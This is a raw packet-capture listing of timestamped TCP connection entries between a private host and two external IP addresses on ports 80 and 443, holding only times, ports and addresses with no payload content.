Nov 25, 2024 14:14:42.178137064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.178379059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.178417921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.179114103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.179155111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.179183960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.179223061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.180349112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.180394888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.180552006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.180592060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.181282043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.181324959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.181477070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.181505919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.182353020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.182406902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.182964087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.183085918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.183433056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.183479071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.183732986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.184449911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.184473991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.184510946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.184571028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.184634924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.185692072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.185738087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.186027050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.186069965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.186701059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.186752081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.186902046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.186939955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.187724113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.187784910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.187851906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.187896013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.188779116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.188839912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.189371109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.189416885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.189975023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.190023899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.190171957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.190226078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.190987110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.191071033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.191102982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.191149950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.192058086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.192106962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.192167044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.192219973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.193157911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.193228006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.193247080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.193284988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.194124937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.194169998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.194251060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.194295883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.195182085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.195245028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.195416927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.195460081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.196286917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.196352959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.196382046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.196429968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.197344065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.197413921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.197662115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.197979927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.198431015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.198472977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.198873043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.198930025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.199510098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.199660063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.199692011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.199728966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.200539112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.200589895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.201008081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.201072931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.201616049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.201661110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.201716900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.201756001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.202680111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.202725887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.202809095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.202869892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.203773022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.203856945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.204404116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.204459906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.204811096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.204852104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.205162048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.205218077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.205934048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.205987930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.206056118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.206127882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.206980944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.207070112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.207461119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.207626104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.208053112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.208115101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.208204985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.208307028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.209098101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.209161997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.236597061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.236680984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.236793995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.236911058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.237219095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.237296104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.237354994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.238245964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.238305092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.238435984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.239317894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.239388943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.239432096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.299324036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.299417019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.299453020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.299494028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.299832106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.299875021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.300082922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.300141096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.300187111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.301199913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.301248074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.301278114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.301296949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.302207947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.302262068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.302340984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.302407026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.303276062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.303328991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.303462029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.303519964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.304505110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.304517984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.304583073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.305454969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.305522919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.305612087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.305672884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.306485891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.306535959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.306890011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.306937933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.307549000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.307739019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.307786942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.308625937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.308676004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.308763981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.308871984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.309695959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.309758902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.309787035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.309856892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.310812950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.310864925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.310951948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.311042070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.311820030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.311923981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.311969995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.312953949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.313014030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.313355923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.313410044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.313992977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.314035892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.314245939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.314295053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.315047979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.315114021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.315367937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.315423965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.316147089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.316215038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.353462934 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.353533983 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.353647947 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.353837967 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.353851080 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.353868961 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.353873968 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.358820915 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.358865976 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.359230995 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.359539032 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.359555960 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.375708103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.375767946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.375793934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.375837088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.376192093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.376266956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.376296997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.376339912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.377260923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.377346039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.377793074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.377933025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.378482103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.378494024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.378539085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.378577948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.379383087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.379726887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.379776955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.380526066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.380538940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.380583048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.381527901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.381577969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.382066011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.382602930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.382662058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.383105993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.383147955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.383678913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.383723974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.383825064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.383868933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.384772062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.384820938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.384821892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.384857893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.385833025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.385900974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.385986090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.386035919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.386885881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.386960030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.387204885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.387263060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.387955904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.388025999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.388180971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.388231039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.389030933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.389086008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.389796972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.389859915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.390136957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.390213013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.390381098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.390436888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.391187906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.391330957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.391540051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.391597033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.392345905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.392452002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.392491102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.392589092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.393520117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.393579960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.393662930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.393716097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.394695997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.394745111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.394778013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.394831896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.395698071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.395746946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.395906925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.396012068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.396517992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.396559000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.396606922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.397573948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.397622108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.398200989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.398248911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.398663044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.398914099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.399082899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.399132013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.399774075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.399822950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.399945021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.400036097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.400906086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.400959969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.401530027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.401577950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.401894093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.401940107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.402103901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.402287960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.402908087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.402961016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.402975082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.403011084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.404040098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.404093981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.404131889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.404175043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.405122995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.405276060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.405421019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.405471087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.406181097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.406238079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.406411886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.406625986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.407300949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.407354116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.407519102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.407569885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.408293962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.408349991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.408421993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.408469915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.409333944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.409394026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.409653902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.409806013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.410355091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.410427094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.440682888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.440742016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.440900087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.440956116 CET	49760	80	192.168.2.5	185.215.113.206
